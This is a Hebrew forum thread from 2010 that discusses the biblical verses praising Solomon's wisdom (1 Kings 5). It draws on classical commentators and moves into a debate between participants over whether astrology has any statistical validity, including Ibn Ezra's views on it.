| נשלח ב-8/8/2010 11:49 |
 |
| |
חכמת שלמה: פירוש הפסוקים במלכים א' פרק ה'
שני הפסוקים העוקבים:
וַתֵּרֶב חָכְמַת שְׁלֹמֹה מֵחָכְמַת כָּל בְּנֵי קֶדֶם וּמִכֹּל חָכְמַת מִצְרָיִם.
וַיֶּחְכַּם מִכָּל הָאָדָם מֵאֵיתָן הָאֶזְרָחִי וְהֵימָן וְכַלְכֹּל וְדַרְדַּע בְּנֵי מָחוֹל וַיְהִי שְׁמוֹ בְכָל הַגּוֹיִם סָבִיב.
***
שם האשכול שונה כדי שיהיה ברור יותר לפי תקנות הפורום.
המתקן: מיימוני
תוקן על ידי עצכח ב- 08/08/2010 13:53:09
|
|
|
|
| נשלח ב-8/8/2010 12:01 |
|
| |
אנא הבהר מה לא ברור לך. הפסוק מונה את שתי התרבויות המפותחות באותו הזמן מצרים ובני קדם וכן מספר אנשים המפורסמים כחכמים ביותר ומציין שחכמת שלמה עלתה על שלהם מה לא מובן ?
|
|
|
|
| נשלח ב-8/8/2010 13:42 |
|
| |
גיל גלעד
ברוך הבא אל הפורום!
אשתדל לענות לשאלתך, אך אבהיר שהתשובה שלי תהיה ארוכה. זאת מכמה סיבות. ראשית, בגלל שקל לשאול שאלות ואילו לענות עליהן באופן ברור ועם נימוקים ומקורות לוקח זמן ושורות רבות. שנית, בגלל שאני מבקש להשתמש בהזדמנות של השאלה שלך כדי להמחיש כיצד אנו ניגשים לברר שאלות של "פשט" והבנה בתנ"ך. זה יכול להיות חשוב לכל מי שקורא באשכול זה.
יתכן שאין צורך כלל בדברי, כי חסדאי כבר הצביע על נקודות הקושי המסתברות. אבל אקוה שתהיה בהרחבתי תועלת. וקודם כל אעיר הערה מתודולוגית. כלומר, על אמנות הכתיבה של שאלות.
הבאת פסוק. זה יפה שטרחת לצטטו. כך חסכת למי שאין לו תנ"ך לפניו לדעת מה הפסוקים שמעוררים את הקושי.
אבל אנו יודעים עברית, ולמרות שזו לא אותה שפה בדיוק של התנ"ך, זה מספיק קרוב כדי שנוכל להבין את המשמעות העקרונית.
כאן נאמר לנו שהמלך שלמה היה חכם מאד. ומשוים אותו לחכמים גדולים. אמנם, שמותיהם אינם מוכרים לנו ושמות האומות ההן שנזכרו כאן אינן מוכרות לנו (אולי לחוקרי המקרא, ההיסטוריונים והארכיאולוגים יש השערות מסתברות), אבל ניתן להבין את הפסוק על פי ההגיון. כלומר, אם אנו יודעים שהמטרה היא לשבח את שלמה, למי ישוו אותו כדי לציין את חכמתו? לחכמים אחרים.
משל למה הדבר דומה, למי שיכתוב כי איינשטין היה פיזיקאלי דגול וחכם מופלג, חכם אפילו מניוטון. אפילו לא צריך לדעת מיהו איינשטיין ומיהו ניוטון כדי להבין שגם ניוטון היה פיזיקאי. שאם לא כן, מה ההשוואה?
וראה נא שבדרך זו הלך הרלב"ג.
רלב"ג מלכים א פרק ה פסוק י
(י) מחכמת כל בני קדם ומכל חכמת מצרים - ידמה שבימי שלמה היתה חכמה גדולה בשתי אלו האומות:
אמנם מתבקש לשאול: מה היתה חכמת מצרים שהשתבחה בה ארץ זו? וכן לגבי בני קדם.
וכל: מי היו איתן והימן וכל השאר, ומי היתה משפחת מחול?
אחד הפירושים המחקריים שיצאו לתנ"ך בזמננו הוא "עולם התנ"ך". הספר מבוסס על גישה לא אורתודוכסית. לכן לא הייתי ממליץ ללכת אחריו בעינים עצומות. אבל הוא כן מביא חומר מחקרי נוסף שיכול להאיר שאלות סתומות, כמו השאלה שאני משער שאליה התכוונת.
אמנם אם מבקשים להבין היטב את הנושא, כדאי להתחיל לעיין קצת קודם, ולקרוא מה אומרים המונחים "חכמה", "משלים" ועוד. בכל אופן, אני מתמקד כרגע רק בנקודות שציטטת.
לגבי מצרים, מובא הפירוש הבא:
"במצרים הקדומה נהוג היה לייחס למלכים אוספים של אמרות חכמה..." יש בידינו היום שרידים של אוספים כאלו. ניתן אם כן לשער שהמושג של "חכמה מצרית" היה מוכר בעם ישראל בתקופה בה נכתבו פסוקים אלו. אם תשאל מה נכלל באותה חכמה, נראה שהכוונה היא ל"הוראות המלך או השר לבניו או לחצרו". כלומר עצות בעניני העולם. עצות דומות ניתן למצוא בספר משלי, אם קוראים אותו על דרך הפשט. (לנהוג ביושר, לא להתפתות לעבירות, להתחבר לחברים טובים, ועוד). ההשוואה לחכמת מצרים עשויה אם כן להתפרש כמתבססת על חיבורו של שלמה "משלי" אם כי יתכן מאד שהדברים החכמים שבספר נאמרו כבר קודם בעל פה ופירסמו את שמו בעם ישראל ובאומות אחרות.
לגבי בני קדם, למרבה הפליאה והבושה, מפרשי "עולם התנ"ך" כלל לא עמדו על זהותם ולא ניסו לבאר במה היתה חכמתם.
מפרשינו שלנו הלכו בשני כיוונים. לעתים תיארו אותם כ"בני המזרח", אולם מזה עדיין לא ידענו לאילו אומות הכוונה. אדום? מואב? ובמה היתה חכמתם? בתלמוד שלנו מובא וכן מצוטט למשל ברד"ק כי היו בקיאים בניחוש העתידות. אולם הדבר תמוה. וכי ישתבח שלמה במה שאסרה תורה? המלבי"ם תירגם זאת ל"חכמת התכונה" כלומר אסטרונומיה.
סוף כל סוף אנו נאלצים להודות שפירוש ההשוואה הזו עלום מאיתנו. אנו מבינים שמדובר כאן בחכמה כלשהי שהיתה ידועה אז וחשובה בעיני המחבר של הספר, אבל אין לנו אלא השערות.
לגבי זהותם של האישים שנזכרים בהמשך, בפסוקים יא-יב, הולכים המפרשים המודרניים בדרכם של מפרשינו שלנו, ומזהים (בעולם התנ"ך) אן איתן, הימן, כלכל כ"משוררים" בבית המקדש. לפי זה יש לומר שהפסוק נכתב לאחר שהוקם בית המקדש והתפרסמו אישים אלו במעמדם שם, או שמא נתפרסמו עוד לפני הקמת המקדש. ניתן אפילו לשער כי אם פסוק זה נכתב שנים רבות לאחר מות שלמה, המחבר היה עשוי להוסיף להשוואות שמות של אישים שהתפרסמו בינתים וחיו אחרי מותו.
אם זיהוי זה נכון הוא, הרי שהחכמה שבה משבחים את שלמה כאן היא חכמת השירה. אנו בזמננו איננו מקשרים בין "חכמה" לבין "שירה", אולם בלשון מחברי ספר "מלכים", "שירה" היא כנראה שירת התפילה, השבח והבקשה שמצויה בספר "תהלים", והחכמה היא היכולת לחבר שירים כאלו. אולי מתייחסת החכמה גם ליכולת מוזיקלית.
***
סיכום:
הפסוק משווה את שלמה לחכמים הידועים באותו זמן. לפי מקורות ארכיאולוגיים והיסטוריים, מצרים יכלה להתפרסם בחכמה ההנהגה המדינית והאישית (עצות לחיים) שיוחסו למלכים שלה. שלמה היה ידוע יותר מהם, ודוגמא לעצות חכמות כאלו נמצא בספר משלי.
על חכמת בני קדם לא ידוע לנו מאומה בינתים. גם לא ברור למי מתייחס הכינוי הזה. חז"ל סברו שמדובר בחכמה של ניחוש עתידות, אבל לא ברור מהיכן נטלו זאת וגם זה מוזר שישבחו את שלמה במה שאסרה תורה.
האישים שנזכרו בפסוקים עשויים להיות אלו שנזכרו גם בתהלים ובדברי הימים. כולם משוררים, חלקם ידוע ששירתו במקדש, ולחלקם מיוחסים מזמורים בתהלים. אם כן, החכמה שמיוחסת כאן לשלמה היא החכמה של חיבור מזמורי תהלה לה' ואולי גם יכולת מוזיקלית.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< language="">
 |
|
|
|
|
| נשלח ב-8/8/2010 14:54 |
|
| |
מיימוני היקר:
ניחוש עתידות בעומק ? היא היא החכמה האמיתית !!!
"איזה חכם הרואה את הנולד" זה היסוד של החכמה,
כל הטכנולוגיה, בנויה על חוקיות הטבע = מוכרחות הטבע ש = עתיד כמובן,
כל חכמת המוסר היא בגלל שהחכמים רואים את העתיד בלי\עם המוסר,
כל חכמת הרפואה היא ההבנה של העתיד של החולה לטוב ולרע,
לגבי האסטרולוגיה:
לדעתי האנושות היום לא מבינה בחכמה הזאת כלום, לא בגלל חוסר ידע רק בגלל זלזול בחכמי קדם,
הם לא מבינים שאסטרולוגיה הייתה סטטיסטיקה גרידא, ותו לא, ושכזה היא שווה כמו הרבה מדעים של היום,
ולכן ראו בזה חכמי קדם מדע לכל דבר, (אני לא מדבר על התיאוריות שהם הסיקו מזה,שזה נשמע היום דבילי לגמרי, אני מדבר על הסטטיסטיקה נטו,)
והם החכמים מתוך הידע הזאת, הם ניסו לשלוט על העמך ולכוון אותם או לטובתם או לרעתם,
למעשה כך זה עם החכמים של היום, הנאורים כביכול רוצים ומכוונים את הדעות שלהם דרך הידע והחכמה שיש להם מול העמך, לטוב או לרע, אם זה השופט ברק שחושב את עצמו הנאור ביותר, או עיתון יתד שחושב שהוא הדעת תורה היחיד שיש,)
|
|
|
|
|
| נשלח ב-8/8/2010 22:18 |
|
| |
מיימוני, ביאור יפה באמת, אבל קשה מאוד להאמין שלזה התכוון כותב מקרא זה. שהרי לפני זה כתב: ויתן אלהים חכמה לשלמה ותבונה הרבה מאד, ורחב לב כחול אשר על שפת הים. על חכמת השיר לא כותבים כך.
|
|
|
|
| נשלח ב-9/8/2010 02:38 |
|
| |
תשובה לא לפי הסדר אלא לפי הקלות.
אברבנאלי
אני מבין שאתה סבור שחיבור שירת שבח לה' אינו בגדר "חכמה". ואני עונה, מה שכתבתי לעיל, כי אפשר שמושגי ה"חכמה" שלנו השתנו.
צא וראה כי רוב ספר משלי מכיל עצות פשוטות למדי, שאנו מורגלים בהן, אבל בשעתו אפשר שהיו חדשות ומפתיעות, ומי שהיה יודע לנסחן ולקיימן היה נחשב לחכם.
כלומר, רף הידע והיכולת שמזכה את בעליו בתואר "חכם" היה נמוך ממה שאנו רגילים לו היום, והוא נמדד בתחומים שהיום משייכים אותם לכישורים אחרים של האדם. ומה בכך?
***
מקסמן יקירי
לא הבנתי מדוע דבריך מהוים ביקורת.
וכי אין לנו להבחין בין "ראית הנולד" במובן של חכמה להבין דבר מתוך דבר, מה עלול לקרות ומה סביר שיקרה, וכפי שמונח זה (ראית הנולד) משמש בפרקי אבות, לבין ניחוש שאינו חכמה אלא שימוש במערכת סמלים כדי לחזות את העתיד? נכון שבכל שימוש במערכת סמלית יש היבט פרשני, ואם המפרש הוא חכם, עצותיו תהיינה טובות. אבל לא על שם כן נכנה "חכם" לאסטרולוג, לקורא בכבד הנשחט ועוקב אחרי תנועות בעלי כנף בשמים. השם הנכון שלו מן התורה הוא שם של עבריין. בין אם העבירה היא "לא תנחשו", "לא תעוננו" וכיו"ב.
ניתן כמובן להעלות אחת או יותר משתי הטענות הבאות.
א. האסטרולוגיה עובדת, רק שהתורה אסרה אותה. ושלמה היה בקיא בה. הטענה הזו אפילו הועלתה במשך הדורות! לדעתי זה מעיד על ירידת הדורות... ושקיעתם באמונות הבל וגרוע מזה. כמובן, עלי לנמק טענות אלו.
טענה מסוג מתון יותר היא שאסטרולוגיה עובדת על גויים אבל לא על יהודים ובזו הבין שלמה. ומה נעשה שיש דעה כזו לגבי האטסרולוגיה גם בגמרא. וכפי שהעירו חכמי לוניל לרמב"ם באיגרתם. ולי אין לענות אלא מה שענה להם הרמב"ם. אפשר שלא הבינונו את הגמרא ההיא, או שבעל הדברים האלו טעה באותה שעה...
ב. האסטרולוגיה היא שקר, אבל מותר ללמוד כדי להבין ולהורות ולפסוק ולהעניש כמו בסנהדרין, ובזה התמחה שלמה.
תיתכן למעשה טענה נוספת, אבל היא מדרכם של חוקרים לא אורתודוכסים. והיא:
ג. מחבר הספר לא ידע או לא סבר כפי שאנו מפרשים בתורה שיש איסור על אסטרולוגיה וסוגי ניחוש למיניהם. ולכן שיבח את שלמה בתכונה זו...
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< language="">
|
|
|
|
|
| נשלח ב-9/8/2010 13:26 |
|
| |
מיימוני היקר:
כנראה לא ירדת לסוף דעתי,
אני אדגים לך (בנושא שהתווכחנו פעם) ילד בן 12 בא להיבחן לישיבה, למה לא מקבלים אותו ? כי המג"ש רואה\מנחש את העתיד,
אבל אייך אפשר הרי יש לו בחירה ? התשובה היא "סטטיסטיקה" כלומר רוב הבנים במצב שלו ממשיכים לבחור ברע כביכול,
נכון שהתורה אוסרת ניחוש, אבל כל חיינו הם ניחוש, וחכם מנחש יותר טוב בגלל חכמתו כמובן, (אני הסביר בהמשך מהי ניחוש ולמה אסור)
וזה היה הוויכוח בין חזקיהו לבין ישעיהו, שאמר לחזקיהו "בהדי כבשי דרחמנא למה לך ?
הרי ישעיהו לא צעק עליו שייגץ ולא הכחיש את הראיה העתידית שלו שהתברר כנכונה,
(אבל בכל זאת הנביא צדק, כי רק בזכות מנשה אנו רואים שיש תקנה לרשעים, כלומר הבן הרשע יכול להועיל לעם ישראל לדורות יותר מצדיק לפעמים,)
יכול להיות שחזקיהו קיבל את התוכחה של הנביא עד כדי כך שגנז את ספר הרפואה גם כן,
רצוני לומר שראית העתיד של חזקיהו = רפואה לדעתו,
כלומר אין הבדל בטענה של הנביא "בהדי כבשי דרחמנא למה לך ? אם מדובר בראית העתיד בסטטיסטיקה אסטרולוגית,
או בסטטיסטיקה רפואית,
חזקיהו פירש כך (לדעתי) את ה"בהדי כבשי דרחמנא למה לך" כלומר זה שאני רואה את העתיד מתוך חכמתי (אם יש) ?
(מבחינת חכם עדיף מנביא,) אל לי לעשות חשבונות שמים, וצריך להיות תמים כפי שרש"י בשם חז"ל מפרש תמים תהיה עם ה' אלהיך - התהלך עמו בתמימות ותצפה לו ולא תחקור אחר העתידות, אלא כל מה שיבא עליך קבל בתמימות ואז תהיה עמו ולחלקו:
לגבי לא תנחשו ולא תעוננו:
(אגב ההלכה לא מקיימת את הלאו הזה כידוע, הרי יש ימים שלא כדאי להתחתן ועוד נושאים בהלכה ולא כאן המקום לדון בזה, האם יש אשכול בעניין ?)
האבן עזרא טוען באמת שהתורה אסרה רק שקר כלומר אם כישוף וכדומה הייתה אמת ? התורה לא הייתה אוסרת כמו שלא אסרה את הרפואה, "וריקי מוח אמרו לולי שהאובות אמת גם כן דרך הכשוף לא אסרם הכתוב. ואני אומר הפך דבריהם, כי הכתוב לא אסר האמת רק השקר, והעד האלילים והפסילים".
וכידוע האבן עזרא ראה באסטרולוגיה מדע רציונלי ולכן אסטרולוגיה לשיטתו לא נכנסים בגדר של לא תנחשו ולא תעוננו,
הוא כמובן לא חשב שזה ניחוש, הוא חשב אותם כסטטיסטיקה שיכול להתגשם באחוזים לכאן או לכאן, ולכן עסק בהם וחיבר ספרים בעניין וגם חזה דברים בדורו,
אל לנו לשכוח שחכם עדיף מנביא היא אך ורק בגלל שהחכם רואה את הנולד יותר מנביא, (אבן עזרא) כי אין הנביא יודע הנסתרות, אם לא יגלה לו השם. אבל חכם כן יודע נסתורות מתוך חכמתו ותבונתו, ולכן לגבי התרפים של לבן מפרש האבן עזרא כך: והקרוב שהיה לבן אביה יודע מזלות, ופחדה שאביה יסתכל במזלות לדעת איזה דרך ברחו, האם היה לרחל לחשוש ולפחד ? לדעתי לא ! כי אי אפשר לדעת דרך המזל לאן הלך יעקב ובאיזה דרך הלך יעקב, רק כך היא דרכו של אנשים הם חושבים שיש באסטרולוגיה את הכל, כמו שאנשים חושבים היום כלפי המדע ומדעי הרפואה שהם יודעים הכל כמעט,
אני אנסה לאדגים לך אייך עובדת הסטטיסטיקה,
עישון סיגריות למשל,
מתוך מאה אנשים מעשנים 70% אנשים מהם סובלים מלחץ דם גבוה,
מתוך מאה אנשים שלא מעשנים רק 30% סובלים מלחץ דם גבוה,
המסקנה: העישון גורם ללחץ דם גבוה,
אבל אפשר לפקפק במסקנה,
ולמה ? כי יכול להיות שבדרך כלל האנשים החמים ברוחם אוטומטית רוצים וצורכים עישון, מה שאין כן אנשים הקרים ברוחם,
ואז צריכים לבדוק האם באמת האנשים החמים מעשנים הרבה יותר מול אנשים קרים, ואז נפל המסקנה,
והמסקנה תהיה שאנשים חמים סובלים יותר מלחץ דם גבוה מול אנשים קרים, בלי שום קשר לעישון,
(לא להתרגש, זוהי רק המחשה)
פעם היה בלגן בתקשורות שירד סטטיסטית הנישואין ברבנות, ולכן חכמי חלם החליטו שזוגות התחילו להתחתן בנישואין אזרחיים,
אבל התברר שפשוט אנשים חיים היום בלי נישואין בכלל, ולאו דווקא בנישואין אזרחי,
בקיצור: כך בדיוק זה באסטרולוגיה, יש\היה להם נתונים סטטיסטים והחכמים או חכמי חלם העבירו לדורות רק את המסקנות,
(כנ"ל כלפי עישון ונישואין,) ולכן האסטרולוגיה נראית כפי שהיא נראית כהיום,
|
|
|
|
|
| נשלח ב-9/8/2010 17:13 |
|
| |
מקסמן
חוששני שאם הבנתיך אנו רואים אחרת לגמרי את האסטרולוגיה. אני מאד מעריך את הפן הסטטיסטי שאתה מזהה בבסיס אמנות זו של הניחוש, וזכורני שראיתי אי שם שמישהו ניסה לטעון שאמנות כזו התפתחה אכן על קישור בין מראות לאירועים שלאחר מכן. אבל הרי אין שום קשר באמת בין צורות כוכבים, או צורות בכבד של קרבנות, לבין העתיד. אז האסטרולוגיה ושאר צורות הניחוש אינן יכולות להיות אמתיות.
וזאת ללא קשר לרשימת האישים המכובדים שהאמינו שיש ממש באמנויות אלו, ואולי ראש לכולם האבן עזרא, שאף בנה סביב כמעט את עיקר שיטתו במטפיזיקה (עד כמה שאפשר לשער כיון שתמיד שמר את עיקרי רעיונותיו בסוד ורק רמז עליהם).
|
|
|
|
| נשלח ב-9/8/2010 17:57 |
|
| |
כהמשך לדברי מיימוני
במקרא ביאור המילה "משל" = פתגם.
ספר משלי פירושו ספר הפתגמים.
בזמנם מי שידע לומר פתגמי חכמה נחשב חכם.
***
בספר שמואל לאחר נבואת שאול נאמר "על כן היתה למשל הגם שאול בנביאים" משל=פתגם, פתגם זה ביטא קריאת תמיהה ופליאה, ועל כל מאורע מתמיה היו אומרים את הפתגם "הגם שאול בנביאים".
***
בלשון חכמים נעלם ביאור לשון זה, בדרך כלל כאשר אומרים משל, מתכוונים למשל ונמשל, כלומר למשפט הטומן בתוכו פרשנות נסתרת ומתוחכמת.
|
|
|
|
| נשלח ב-9/8/2010 18:02 |
|
| |
מיימוני היקר:
מה פירוש אין קשר ? יש קשר סטטיסטית !! אנחנו פשוט לא עשינו סטטיסטיקות בעניין, וחכמי קדם כן עשו,
אגב: לא רציתי לאיים עם האבן עזרא, רצוני לומר שאני סומך עליו שבדק בזמנו את האמיתות האסטרולוגיה,
כי האבן עזרא לא האמין בשום דבר בעולם עד שחקר ובדק את האמיתות הדברים,
וחשב שאסטרולוגיה היא אמיתית ביסוד (ולא ממש במסקנותיהם, כלומר איינשטיין מסביר את הגרוויטציה בתיאוריה עקמומיות המרחב, שיכול להתברר כלא אמיתית, אבל הגרוויטציה קיימת בכל מקרה, כך זה בדיוק באסטרולוגיה, היסודות אמיתיות = לגרוויטציה, התיאוריות מהאסטרולוגיה מטומטמות = לתיאוריות קודמות לגרוויטציה הקיימת בכל מקרה,)
והאבן עזרא לא רמז רק כתב בבירור ביותר (ממקור שעולה לי עכשיו בראש) אני הצטט
אבן עזרא שמות פרק לג כי הוא צוה ונבראו, ויעמידם לעד לעולם חוק נתן ולא יעבור (תה' קמח, ה - ו), רק נבראו ככה בעבור המקבלים. והנה לא יוכלו המשרתים לשנות דרכם, (כלומר חוקי טבע, max ) ושיעבור אחד מהם החק שנתן לו השם. גם כל צבא השמים והשפלים יקבלו מהם כפי מתכונתם, על כן לא ייטיבו ולא ירעו. והנה המשתחוה למלאכת השמים לא יועילו לו, כי אם מה שנגזר עליו כפי מערכת כוכבי מולדתו כן יקרנו, חוץ אם ישמרהו כח העליון יותר מכח הכוכבים, שיהיה דבק בו, אז ינצל מהגזרות. ואתן לך משל חשוב, שהיתה מערכת הכוכבים שיגדל נהר על עיר אחת וישטוף אנשים או ימותו. ובא נביא והזהירם, שישובו אל השם בטרם בא יום רעתם. ושבו אליו בכל לבם. ובעבור שדבקו בו, נתן בלבם, שיצאו אנשי העיר לחוץ להתפלל אל השם. והנה עשו כן. וביום ההוא גדל הנהר פתאום כמנהגו, כאשר ראינו בעינינו פעמים רבות ושטף כל העיר. והנה לא סרה גזירת השם והוא הצילם,
וחשוב, כי המשרתים ירוצו כסוסים עוברים במסלה, ולא ירוצו להרע או להיטיב, רק ככה דרכם. וחשוב כי במסילה איש עור לא ידע מנהג הסוסים מתי הולכין אל ימין או לשמאל, והוא נשען על פקח שידע סורם. והנה הוא ישמרנו, כי ברוצם בצד זה יוליך העור לצד האחר, ומרוצת הסוס לא תשתנה והעור ימלט. ובעבור זה אמר השם אחר אשר חלק (דבר' ד, יט) ואתכם לקח ד' להיות לו לעם נחלה (שם שם, כ). ככה לא כאלה חלק יעקב, כי יוצר הכל הוא (ירמי' נא, יט). וזהו ונפלינו אני ועמך (שמות לג טז). וזהו שאמרו חז"ל אין מזל לישראל (שבת קנו, א; נדרים לב, א). כל זמן שהם שומרי התורה. ואם לא ישמרוה, ישלוט בהם המזל כאשר הוא מנוסה, כי כל מחברת ומזל דלי במערכת רעה. הנה יבא רעה לישראל. והיודעים חכמת המזלות יודו כן. והנה היתה במערכת השמים במחברת, שיעמדו בגלות מצרים עוד שנים רבות. ובעבור שצעקו אל השם ושבו אליו הושיעם השם. וכאשר יקרה לכלל כן יקרה ליחיד, על כן שומר תורה אשרהו (משלי כט, יח). והנה ידעתיך בשם (שמות לג יב), כמו יודע ד' דרך צדיקים (תה' א, ו). והנה הראני נא (שמות לג יח) אינו במראית העין, (רק בחכמה שתדעו מה הולך לקרות ותדעו להיזהר מהם כנ"ל, max ) והנה על פניך (שמות לג יט) - על פניך הפנימים, והם פני הלב. וטעם כל טובי (שם), שאינו, כמו הכל, ולא בכל ולא עם הכל. וטעם וחנותי את אשר אחון (שמות לג יט) - על משה, כי אעביר כל טובי על פניך (שם), ולפני עברי ארחמך. וזה שאסוך כפי עליך (שמות לג כב). והנה זהו הפירוש, והכף כדמות סתר. כמסתיר עצם השמש בכפו שלא תפרד נשמתו מעל גוויתו. והנה וראית את אחורי, מפאת שהוא הכל, וכבודו מלא הכל ומאתו הכל, וכל תמונתם כל, וזהו ותמונת ד' יביט (במד' יב, ח):
בקיצור האבן עזרא לא האמין בשום דבר, הוא פשוט האמין בחוקי הטבע, וכל העניין היא "התבונה והחכמה" כמו שכותב לעייל והוא נשען על פקח שידע סורם. אייך להיזהר מהחוקים הקבועים שבטבע כמו שכותב לעייל " כי הוא צוה ונבראו, ויעמידם לעד לעולם חוק נתן ולא יעבור (תה' קמח, ה - ו), רק נבראו ככה בעבור המקבלים" כלומר המקבלים = הקופץ לאש מקבל את הרע, והנזהר מקבל את הטוב,
והכל היא התבונה והחכמה כמובן, וזה לדעתו הפשט של חז"ל שאין מזל לישראל, כי הם יודעים להיזהר מהם (החוקים הטבעיים,) כמו שאבותינו שבחרו דווקא את ארץ ישראל לגור שם כי אין בא"י אסונות טבע,
ואין לך ראיה יותר מהמשל שלו, על הנהר גדל פתאום כמנהגו שכתב לעייל,
תוקן על ידי maxmen ב- 09/08/2010 18:04:10
|
|
|
|
|
| נשלח ב-10/8/2010 01:09 |
|
| |
דרום חוקר
תודה.
***
מקסמן יקירי
אני מבקש לבדוק במה אנו מסכימים ובמה אנו חולקים.
א. יש תחום שנקרא אסטרולוגיה. המאמינים בו סבורים שניתן להסיק מתנועות במערכות הכוכבים בשמים כפי שהן נראו לעינינו כאן מסקנות לגבי החיים, מה עתיד לקרות ומה לא.
טיב הקשר בין התנועות לבין העתיד לא הוברר ויש שתי תיאוריות מרכזיות. תנועת הכוכבים משפיעה על העולם שלנו וגורמת לתופעות אלו. או שמי שקבע את העתיד להתרחש מגלה את תוכניותיו בכוכבים.
ב. האבן עזרא האמין שיש תחום מחקר כזה, אסטרולוגיה, וכי לימודו אכן יגלה עתידות. הוא תירץ את השאלה האם גם עם ישראל כפוף לאסטרולוגיה ואם לא אז למה לא בכך שה' דוחה מעל עם ישראל את גזירת הכוכבים.
ג. אתה הצעת שהאסטרולוגיה משקפת חוקיות נעלמת שניתן אמנם לעמוד עליה על ידי תצפיות סטטיסטיות שמצטברות במשך הדורות. אבל עדיין בדבריך משמע שיש מיתאם (=קורלציה) בין מעמד הכוכבים לבין העתיד להתרחש. לא הבנתי ברור באיזו מן התיאוריות לגבי המקביליות הזו בין מראה הכוכבים בשמים לעינינו לבין העתיד אתה דוגל. האם אתה מאמץ אחת מהתיאוריות שהזכרתי לעיל או שמא אתה מסתפק בפחות ומודה שהאסטרולוגיה לא יתכן שיהיה בה ממש אבל עם כל זה כיון שהיא מבוססת על סטטיסטיקות וקורלציות לכן יש בה מידע מועיל.
ואני איני מצליח להבין כיצד אנו דנים וממשיכים לחלוק.
א. האסטרולוגיה היא לדעתי הבל. מסיבות רבות. כגון שמערך הכוכבים שונה ממה שהאמינו האסטרולוגים שלא הבינו באסטרונומיה. ומעל לכל, שאין שום קורלציה בין תנועותיהם לבין אירועים על כדור הארץ. ולמעשה זה איסור מפורש להיזקק לזה, לא רק עבור עם ישראל אלא עבור כל אדם.
ב. האבן עזרא האמין בזה. נכון. והוא טעה.
ג. אתה סבור שיש באסטרולוגיה ממש? איך זה יתכן?
ואני מוסיף: הקטע שציטטת מן האבן עזרא מתבסס על קורלציה בין הכוכבים לבין העתיד. האם אתה סבור שתנועת הכוכבים יכולה לגלות על אסון הבא על עיר? כן או לא? האם אתה סבור שה' ברא את העולם שיש קורלציה כזו? האבן עזרא האמין שכן. אני סבור שלא. היכן אתה אוחז ועל סמך מה?
אם אתה מסתמך על כך שהאבן עזרא היה חכם גדול (הוא אכן היה אדם חכם ביותר כפי שמוכיחים תולדות חייו, הידיעות הרבות שלו וכשרונותיו, וספריו) אזי זה לא מספיק. כמה חכמים גדולים טעו בדברים הרבה. והעיקרון שהאבן עזרא לא האמין בשום דבר בלי לבדוק, לצערי אין די בהנחת היסוד הקוסמת הזו. אני אפילו לא בטוח שהיא נכונה. צריך גם לבדוק למה הכוונה ב"בדק כל דבר". אפשר באמת לדון בשאלה איך למד האבן עזרא אסטרולוגיה ומה היו השיקולים שלו שגרמו לו לאמץ את האמונה הזו.
הממשיך לעמוד על דעתו, הק' מ'.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< language="">
|
|
|
|
|
| נשלח ב-10/8/2010 04:01 |
|
| |
| מיימוני כתב: |  |
אני מבקש לבדוק במה אנו מסכימים ובמה אנו חולקים.
א. יש תחום שנקרא אסטרולוגיה. המאמינים בו סבורים שניתן להסיק מתנועות במערכות הכוכבים בשמים כפי שהן נראו לעינינו כאן מסקנות לגבי החיים, מה עתיד לקרות ומה לא.
לאו דווקא עתיד, תכונות אופי כישורים ויופי וכדומה, שזה כן אפשר לבדוק, ובאמת לא להבין למה זה, למה מזל אריה באמת בתכונות של מלך ולמה סרטן אוהב\חייב להיות קרוב לבית, ולמה עקרב הוא עקשן בדרך כלל, ולמה מזל בתולה יפים בדרך כלל, בקווי היד גם אפשר לבדוק, וכמובן בלי לדעת למה והסיבות לזה, אבל אני מסכים שהתיאוריות להסביר את הלמה בזה הם כשלו כמובן,
טיב הקשר בין התנועות לבין העתיד לא הוברר ויש שתי תיאוריות מרכזיות. תנועת הכוכבים משפיעה על העולם שלנו וגורמת לתופעות אלו. או שמי שקבע את העתיד להתרחש מגלה את תוכניותיו בכוכבים.
לא ולא, פשוט ראו שכך קורא במצב\מפת כוכבים X את הלמה לא מעניין אותנו כרגע, אבל כך ראו בתצפיות,
ב. האבן עזרא האמין שיש תחום מחקר כזה, אסטרולוגיה, וכי לימודו אכן יגלה עתידות. הוא תירץ את השאלה האם גם עם ישראל כפוף לאסטרולוגיה ואם לא אז למה לא בכך שה' דוחה מעל עם ישראל את גזירת הכוכבים.
הוא מבלבל לפעמים בכמה מקומות טוען שיש קשר אלוקית ממש לצדיקים, כלומר האלוקים באמת מתערב מעשית,
אבל בציטוט שצטטי לך הוא טוען שהחכמים בזה שהם מכירים את חוקי הטבע יודעים להציל את העם מצרות, וחלק מידיעת הטבע היא לדעת את התצפיות בכוכבים ולפי זה להיזהר מכל רע,
ג. אתה הצעת שהאסטרולוגיה משקפת חוקיות נעלמת שניתן אמנם לעמוד עליה על ידי תצפיות סטטיסטיות שמצטברות במשך הדורות. אבל עדיין בדבריך משמע שיש מיתאם (=קורלציה) בין מעמד הכוכבים לבין העתיד להתרחש. לא הבנתי ברור באיזו מן התיאוריות לגבי המקביליות הזו בין מראה הכוכבים בשמים לעינינו לבין העתיד אתה דוגל. האם אתה מאמץ אחת מהתיאוריות שהזכרתי לעיל או שמא אתה מסתפק בפחות ומודה שהאסטרולוגיה לא יתכן שיהיה בה ממש אבל עם כל זה כיון שהיא מבוססת על סטטיסטיקות וקורלציות לכן יש בה מידע מועיל.
אין מתאם אבל יש סטטיסטיות, שמי שנולד ביום ד' בשבוע יהי גבר חכים ונהיר וכו' (שבת קנו')
ואני איני מצליח להבין כיצד אנו דנים וממשיכים לחלוק.
א. האסטרולוגיה היא לדעתי הבל. מסיבות רבות. כגון שמערך הכוכבים שונה ממה שהאמינו האסטרולוגים שלא הבינו באסטרונומיה. ומעל לכל, שאין שום קורלציה בין תנועותיהם לבין אירועים על כדור הארץ. ולמעשה זה איסור מפורש להיזקק לזה, לא רק עבור עם ישראל אלא עבור כל אדם.
אני לא מבין, מה הבדל בין אם אני יודע על בחור שנולד אצל עשירים ולכן מסיק סוגי מסקנות כלפיו, למשל שבודאי קיבל השכלה גבוה, לבין בחור שנולד ביום ד' בשבוע ומסיק (בלי לבדוק באמת) שהוא חכם ונהיר, כי כך ראיתי בבדיקות שעשיתי אם עשיתי, ולכן למה אסור לפי התורה אם יש בזה אמת, (אמת סטטיסטית של 70% למשל)
ב. האבן עזרא האמין בזה. נכון. והוא טעה.
